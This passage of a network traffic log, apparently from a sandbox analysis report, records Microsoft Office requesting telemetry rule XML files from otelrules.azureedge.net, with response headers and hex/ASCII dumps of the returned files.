2024-11-25 17:29:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:05 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d98f8c9e-d01e-0017-0dbf-3eb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172905Z-178bfbc474bwlrhlhC1NYCy3kg00000007wg0000000002bk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:05 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 1461fc14-a01e-000d-67bf-3ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172906Z-174c587ffdfn4nhwhC1TEB2nbc0000000660000000010p02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:05 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:06 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: a9288e84-901e-0016-0fbf-3eefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172906Z-178bfbc474bv587zhC1NYCny5w00000007gg00000000wvek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:06 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:06 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:06 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: c49a2be7-d01e-005a-3155-3c7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172906Z-15b8b599d88cn5thhC1TEBqxkn000000063000000000gqsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:06 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:07 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:08 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 4d8c69aa-d01e-0028-1552-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172908Z-15b8b599d88m7pn7hC1TEB4axw000000066g00000000ppbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:08 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:07 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:08 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 2537bc41-601e-0050-496a-3c2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172908Z-174c587ffdfb74xqhC1TEBhabc00000006a00000000055ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:08 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:07 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:08 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3cbcbade-201e-0000-6443-3ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172908Z-15b8b599d882zv28hC1TEBdchn000000062g00000000kz93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:08 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:08 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:08 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:08 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 719deb7f-801e-008c-11bf-3e7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172908Z-178bfbc474bw8bwphC1NYC38b400000007p0000000007q2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:08 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:08 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:09 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:08 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c476523a-d01e-008e-6755-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172908Z-15b8b599d88z9sc7hC1TEBkr4w00000006eg000000003rcv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:10 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:10 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: da36c5d9-601e-0002-2bc0-3ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172910Z-178bfbc474btrnf9hC1NYCb80g00000007wg00000000hfuy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:10 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:10 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172910Z-174c587ffdf7t49mhC1TEB4qbg000000063000000000r32g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:10 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:29:10 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:29:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:29:10 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: dd43f91c-901e-005b-7e7f-3b2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172910Z-174c587ffdfb485jhC1TEBmc1s000000063000000000bpza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:29:10 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI 